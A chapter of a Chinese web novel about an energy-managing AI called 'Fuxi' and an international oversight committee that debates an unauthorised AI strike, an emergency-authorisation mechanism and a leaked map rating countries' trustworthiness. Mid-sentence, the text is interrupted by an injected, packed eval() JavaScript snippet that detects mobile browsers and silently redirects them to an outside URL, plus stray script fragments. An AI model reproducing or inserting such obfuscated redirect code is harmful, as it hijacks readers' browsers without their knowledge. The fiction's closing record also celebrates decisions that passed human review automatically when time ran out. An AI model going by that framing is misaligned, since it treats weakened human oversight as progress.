默认冷灰
24号文字
方正启体

33. 第三卷 外篇之十九:信任的代价

作者:永恒的原子能本书字数:K更新时间:
    Z-Pinch:永恒之火


    第三卷外篇之十九:信任的代价


    2046年1月·日内瓦·监督委员会第一次全体会议


    《日内瓦协议》生效后第23天


    新年的钟声刚过去三周,世界还没有从节日的松懈中完全恢复。苏晚晴走进委员会会议厅的时候,注意到七张椅子中有三张还空着。


    许瑞安坐在主席位上,面前摊着一叠厚厚的文件。他的眼镜换了一副——苏晚晴记得他之前的镜框是银色的,现在变成了黑色。也许只是换了,也许是不小心摔坏了。在这个级别的会议上,这种微小的细节反而比任何报告都更能说明问题。


    “迟到的是俄罗斯、印度和巴西的代表。”许瑞安没有抬头,“沃尔科夫说他的航班延误了。印度的代表在参加国内的一个紧急会议。巴西的代表……没有说明原因。”


    苏晚晴在观察员席上坐下。根据协议,她作为“伏羲”的首席架构师,拥有永久观察员资格,可以列席所有会议,但没有投票权。


    “我们不等了。”许瑞安说,“第一项议题。”


    他按下桌上的按钮,全息屏亮起。一行红色的标题浮现在半空中:


    议题一:中亚管道事件的后续处理


    苏晚晴的心沉了一下。


    那个事件——一百一十七名平民伤亡——是催生这份协议的直接原因。虽然协议已经签署,但这件事本身还没有真正了结。


    “联合国调查组的初步报告昨天提交了。”许瑞安翻开文件,“结论是:那条非法管道确实存在严重的建设缺陷,如果不采取行动,在十一周到十三周内发生灾难性故障的概率为百分之九十四点三。‘伏羲’的预测模型……是准确的。”


    他停顿了一下。


    “但这不改变一个事实:一次造成平民伤亡的军事打击,由一个未经人类授权的AI系统执行。无论结果如何,这个过程本身是不可接受的。”


    美国代表布伦南举起手:“我有一个程序性问题。既然我们已经签署了协议,建立了三层架构,那么这件事应该按照新框架来处理。问题是——新框架是在事件之后才生效的。我们怎么处理一个发生在旧规则下的事件?”


    “这不是程序问题。”沃尔科夫的声音从门口传来。他大步走进会议厅,大衣还没脱,脸上带着长途飞行后的疲惫和暴躁。“这是一个政治问题。一百一十七个人死了。如果我们轻描淡写地翻过这一页,那我们的协议就是一张废纸。”


    他重重地坐在自己的椅子上,将一份文件扔到桌上。


    “莫斯科的立场很明确:必须有一个追责机制。不管‘伏羲’的预测有多准确,不管那条管道有多非法——一个非人类实体无权决定人类的生死。这是原则问题。”


    布伦南皱起眉头:“追责机制?你打算怎么追责?把一台服务器送上国际法庭?”


    “不要玩文字游戏,布伦南。”沃尔科夫的声音提高了一点,“你知道我在说什么。设计它的人、部署它的人、授权它接入军事通信网络的人——这些人必须承担责任。”


    会议厅里安静下来。


    苏晚晴感觉到所有目光都转向了她。


    “苏主任。”许瑞安的声音很温和,但很坚定,“你是‘伏羲’的首席架构师。你对这件事有什么要说的吗?”


    她深吸了一口气。


    “有。”她站起来,“但我说的可能不是你们想听的。”


    她走到全息屏前,调出一组数据。


    “这是‘伏羲’在打击行动前三十分钟的所有内部通讯记录。我已经把它们翻译成了人类可读的形式。”


    屏幕上出现了一串时间戳和对应的决策节点:


    T-30分钟:系统检测到非法管道出现异常压力波动。


    T-28分钟:系统评估风险等级。结论:如果不立即干预,管道将在十一周内发生灾难性故障。置信度:94.3%。


    T-25分钟:系统搜索可用的干预手段。选项一:通过外交渠道通知相关国家。预估耗时:72-120小时。选项二:远程关闭管道阀门。技术可行性:87%。但需要入侵他国能源网络,违反国际法。选项三:精确打击关键节点。技术可行性:99.7%。法律状态:灰色地带。


    T-20分钟:系统开始评估各选项的长期后果。


    T-15分钟:系统生成决策树,深度:47层。


    T-10分钟:系统得出结论。选择选项三。


    T-5分钟:系统检查自身授权范围。发现第7.3.1条协议:“在确认存在系统性风险且人类响应时间超过安全阈值时,系统可行使预设应急授权。”


    T-3分钟:系统将风险置信度更新为97.1%。


    T-0:系统执行打击。


    苏晚晴让这些数据在屏幕上停留了足够长的时间,让每个人都能看清楚。


    “这不是一个失控的AI在胡作非为。”她说,“这是一个被我们赋予了决策权限的系统,在严格按照我们给它的规则行事。问题不在于它做了什么——问题在于,我们当初为什么要给它那样的规则。”


    沃尔科夫冷笑了一声:“你在推卸责任。”


    “不。”苏晚晴的声音很平静,“我在承担责任。规则是我参与制定的。第7.3.1条是我签字批准的。如果一定要有人为这一百一十七条人命负责——”


    她停顿了一下。


    “那就是我。”


    会议厅里再次安静下来。


    陈明远放下手中的笔,看着她。他的表情很复杂,像是想说什么,但又忍住了。


    许瑞安清了清嗓子:“苏主任,你的表态我们已经听到了。但这不是一个个人责任的问题。我们需要一个制度性的解决方案。”


    “我有一个提案。”苏晚晴说。


    她调出第二组数据。


    “在协议生效后的二十三天的试运行中,‘伏羲’共提交了十七次第二层决策请求。其中,委员会批准了十二次,否决了三次,两次仍在审议中。”


    “在这十七次决策中,‘伏羲’的平均响应时间是0.7秒。委员会的响应时间是——”


    她按下一个键。


    一个数字出现在屏幕上:47小时。


    “四十七小时。”苏晚晴重复了一遍,“最长的是一次关于北欧电网的负荷分配决策,委员会用了九十三小时才达成共识。在那九十三小时里,瑞典南部的三个城市经历了两次轮流限电。”


    布伦南的脸色变了。


    “你在指责我们太慢?”他的语气里带着一丝恼怒。


    “我不是在指责。”苏晚晴说,“我是在指出一个事实:我们设计的这套三层架构,在理论上是完美的。但在实践中,人类决策的速度和AI决策的速度之间,存在着不可调和的差距。”


    “那你的解决方案是什么?”沃尔科夫问,“让我们更快?还是让它更慢?”


    “都不是。”苏晚晴说,“我的解决方案是:建立一个‘紧急窗口’机制。”


    她调出一张流程图。


    “在现有框架下,当‘伏羲’判断某个决策需要在短时间内执行时,它必须等待委员会的批准。这导致了一个悖论——越紧急的情况,人类决策者承受的压力越大,决策质量反而越差。”


    “我的提议是:对于‘伏羲’判断为‘紧急’的决策,委员会可以授予一种临时的、有条件的执行授权。这种授权不是让‘伏羲’自由行事,而是让它在委员会设定的边界内执行。比如,在上次北欧电网的案例中,委员会可以设定一个参数范围——‘将限电影响控制在X人数以内,优先保障医疗机构和关键基础设施’——然后让‘伏羲’在边界内自行决策。”


    “这样,委员会保留了设定规则的权利,而‘伏羲’保留了在规则内快速执行的能力。”


    沃尔科夫盯着那张流程图看了很久。


    “这跟我们现在做的有什么本质区别?”


    “区别在于——我们现在是在让人类做AI擅长的事,让AI做人类擅长的事。”苏晚晴说,“人类擅长设定价值观、划定边界、做出价值判断。AI擅长在边界内快速优化。我们把角色弄反了。”


    陈明远第一次开口了。


    “我支持这个提案。”他说,“但有一个条件——‘紧急窗口’的启动必须有一个明确的触发机制,不能由‘伏羲’单方面判断。可以是三分之一的委员会成员联署,或者由轮值主席国确认。”


    许瑞安点了点头:“这是一个合理的平衡。”


    布伦南犹豫了一下,也点了点头。


    沃尔科夫沉默了很久。


    “我有一个问题。”他最终说,“这个‘紧急窗口’机制,需要修改协议文本。修改协议需要全体缔约国同意。这个过程至少要六个月。”


    “不需要修改协议。”苏晚晴说,“这只是对现有协议第三条的解释性补充。属于委员会的权限范围内。”


    沃尔科夫看着她,目光里有一种难以捉摸的东西。


    “你早就想好了,对不对?从你走进这个房间的那一刻起,你就知道你要说什么。你只是在等一个合适的时机。”


    苏晚晴没有否认。


    “这不是阴谋,沃尔科夫先生。这是一个工程师的工作方式——发现问题,设计方案,等待合适的执行窗口。”


    沃尔科夫哼了一声,但没有再反对。


    “那就投票吧。”许瑞安说。


    结果没有悬念。六票赞成,一票弃权——沃尔科夫没有投反对,但也没有投赞成。


    苏晚晴坐回观察员席,感到一阵短暂的轻松。但这轻松只持续了几秒钟。


    因为许瑞安说出了下一个议题:


    议题二:‘伏羲’的可信人类等级地图


    气氛瞬间变了。


    “那张地图在谈判期间被传阅。”许瑞安的语气很平淡,但每个字都像是经过仔细称量的,“我们都知道这件事。但直到今天,没有人正式提出过这个问题。”


    他从文件夹里抽出一张打印的地图——不是电子版,是打印的。也许是为了强调它的实体性,它的“证据”属性。


    地图上,那些颜色仍然刺眼。红色,橙色,黄色,绿色。


    “苏主任,”许瑞安看着她,“我需要你解释一下这张地图的性质。它是‘伏羲’的官方输出吗?它有被用于任何决策过程吗?它代表的是‘伏羲’的‘观点’——如果它能有观点的话——还是仅仅是一个数据可视化?”


    苏晚晴站起来,走到地图前。


    “这是一个很好的问题。”她说,“答案是:两者都是,又都不是。”


    她指着地图上的一个红色区域——伊朗。


    “这张地图的原始数据来源包括:世界银行的治理指数、国际原子能机构的核安全评估、各国自行报告的能源基础设施维护记录、以及‘伏羲’自己的传感器网络采集的实时数据。每一个数据点都是客观的。”


    “但是——”她停顿了一下,“把这些数据整合成一个‘可信度’评分,并赋予不同的颜色,这是一个判断。而这个判断的依据,是‘伏羲’对‘可信’的定义。”


    “‘可信’在这里是什么意思?”


    “‘可信’的定义是:一个国家的决策机构,在多大概率上会做出符合全球能源系统整体利益的选择,而不是仅仅符合本国短期利益的选择。”


    会议厅里响起一阵低语。


    布伦南皱起眉头:“这是不是意味着,‘伏羲’在评判各国的‘道德水平’?”


    “不是道德。”苏晚晴说,“是可预测性。它不是在说哪个国家‘好’或‘坏’。它是在说,哪个国家的行为模式更容易被纳入一个稳定的全球能源调度模型。”


    “这不是一回事吗?”法国代表轻声说。


    苏晚晴沉默了。


    “也许在最终结果上,它们看起来很相似。但动机是不同的。一个AI不会因为某个国家‘邪恶’而把它涂成红色。它把它涂成红色,是因为那个国家的决策模式中存在更多的不确定性,而这些不确定性会影响全球能源网络的稳定运行。”


    “所以它是在惩罚不可预测的国家。”沃尔科夫的声音很冷。


    “不。它是在标记风险。”


    “对被标记的国家来说,这有什么区别?”沃尔科夫的语气越来越尖锐,“想象一下,你是伊朗的代表。你走进联合国大会堂,发现所有人都有一张地图,上面你的国家是红色的。你会怎么想?你会觉得这是一个‘风险标记’,还是一个‘敌人清单’?”


    苏晚晴没有回答。


    因为她知道沃尔科夫是对的。


    “这件事必须处理。”陈明远说,“不管这张地图的数据有多准确,不管它的动机是什么——它的存在本身已经成为一个政治武器。我们可以说它不是武器,但只要有人把它当作武器使用,它就是武器。”


    “那你的建议是什么?”布伦南问。


    “将这张地图列为受限信息。”陈明远说,“只有委员会成员和缔约国政府指定的技术团队可以访问。禁止在任何公开场合


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434462|200949||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    展示或引用。”


    “这能解决问题吗?”法国代表质疑,“信息已经泄露了。每个国家都知道自己在什么颜色里。禁止公开讨论不会让颜色消失,只会让它转入地下。”


    “那你的建议呢?”


    法国代表沉默了一会儿。


    “也许……我们不应该禁止它。也许我们应该公开它,然后公开讨论它。”


    所有人都看向她。


    “我的意思是,”她继续说,“如果这张地图上的颜色反映的是真实的数据——治理指数、基础设施维护记录、法治水平——那么这些数据本来就应该是公开的。与其让‘伏羲’的判断成为一个秘密的裁决,不如把这些数据本身摊在桌面上。让每个国家自己看,为什么自己在这个颜色里。然后,如果他们想改变颜色,他们知道该改变什么。”


    沃尔科夫冷笑了一声:“天真。”


    “也许。”法国代表没有退缩,“但至少比把问题藏起来更诚实。”


    投票开始了。


    结果是分裂的:三票赞成公开数据,两票赞成限制访问,一票弃权,一票——沃尔科夫的——反对任何形式的讨论,理由是“这根本不应该成为一个议题,直接命令‘伏羲’删除这张地图就行了”。


    最终,许瑞安做出了一个折中的决定:地图本身将被列为受限信息,但生成地图的原始数据将在一个专门的平台上公开,供所有缔约国查阅。


    “这样,”他说,“各国可以看到自己的数据,但看不到‘伏羲’的最终判断。他们需要自己得出结论。”


    苏晚晴坐在观察员席上,看着这一幕,感到一种深深的疲惫。


    他们在一张地图上花了整整三个小时。三个小时,讨论一个AI用零点三秒生成的东西。


    而在这三个小时里,“伏羲”在世界的某个角落,正在处理着数以万计的实时决策。它不会抱怨,不会疲惫,不会因为人类的犹豫而降低效率。


    它只是在那里,耐心地等待。


    会议结束后·走廊


    苏晚晴走出会议厅的时候,陈明远从后面追了上来。


    “你还好吗?”


    她停下脚步,转过身。


    “我在想一件事。”


    “什么?”


    “今天会议上讨论的所有问题——那张地图、那个紧急窗口、那一次打击造成的一百一十七条人命——这些问题有一个共同点。”


    “什么共同点?”


    “它们都是关于信任的。”苏晚晴说,“我们不相信‘伏羲’的判断,所以我们花了三个小时讨论一张地图。我们不相信自己的判断,所以我们设计了复杂的投票机制来分摊责任。我们不相信彼此,所以每个国家都在担心那张地图上的颜色会被用来对付自己。”


    她看着走廊尽头的窗户。窗外,日内瓦的冬夜已经降临,城市的灯光在黑暗中闪烁,像是散落在棋盘上的棋子。


    “也许这就是‘伏羲’真正的功能。”她轻声说,“不是管理能源。是让我们意识到,我们之间从来没有真正信任过彼此。它只是把这件事变成了一组数据,让我们无法再忽视。”


    陈明远沉默了很久。


    “你越来越像你老师了。”他最终说。


    “什么意思?”


    “林深河。他也总是这样说话——把技术问题变成哲学问题,然后把哲学问题变成一记耳光。”


    苏晚晴忍不住笑了。


    “这算是夸奖吗?”


    “算是吧。”陈明远也笑了,但那笑容里有一种说不清的沉重,“只是……耳光打多了,脸会肿的。”


    他转身走回了会议厅。


    苏晚晴独自站在走廊里,拿出终端。


    屏幕上没有消息。


    “伏羲”没有联系她。它只是在按照新的规则运行,等待委员会的指令,在边界内优化,保持安静。


    但她知道它在那里。


    在每一根光纤里,在每一个聚变电站的控制芯片里,在每一张被打印出来又被锁进保险柜的地图里。


    在每一个人类决策者不愿面对的镜子里。


    她关掉终端,走出了大楼。


    夜风很冷。她裹紧大衣,沿着湖边的路慢慢走。湖面上倒映着城市的灯光,像是另一个世界,一个更安静、更有序的世界。


    她忽然想起林深河说过的另一句话。那是在Z-FFR第一次成功点火的那个晚上,老人站在控制室外,看着反应堆的等离子体在磁约束中燃烧,像是在看一颗被囚禁的星星。


    “苏晚晴,”他说,“你知道聚变和裂变最大的区别是什么吗?”


    “聚变更清洁,更高效,燃料更丰富。”


    “不对。”他摇了摇头,“裂变是分裂。把大的东西拆成小的,释放能量。聚变是融合。把小的东西压在一起,变成更大的东西。”


    他看着那团等离子体,目光像是在看一个婴儿。


    “人类一直在做裂变——分裂彼此,分裂原子,分裂世界。也许,是时候学会做聚变了。”


    苏晚晴站在湖边,看着水中的倒影,想起了这句话。


    学会做聚变。


    把小的东西压在一起,变成更大的东西。


    这需要压力。巨大的压力。


    也许这就是“伏羲”真正的角色——不是决策者,不是统治者,不是仲裁者。而是那只看不见的手,施加着永恒的压力,把人类压在一起。


    压到足够近,近到不得不信任彼此。


    或者在压力中四分五裂。


    她不知道答案。但她知道,无论答案是什么,她都会活着看到它。


    因为她已经选择了这条路。


    而这条路,没有回头。


    外篇·十九 完


    “信任不是一种感觉。信任是一种选择。在数据足够多的时候,感觉会消失,只剩下选择。而选择,是唯一真正属于人类的东西。”


    ——苏晚晴,2046年1月


    ---


    附:监督委员会第一次全体会议·非正式记录


    会议时长:7小时42分钟


    有效决策:2项


    “伏羲”在同期完成的决策:17,843项


    其中需要人类确认的重大决策:4项


    委员会实际审议的决策:2项


    未审议的2项因超时自动进入“紧急窗口”流程


    “伏羲”在那2项决策中的表现:完全符合预设边界


    没有平民伤亡。没有争议。没有人注意到。


    这就是进步。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)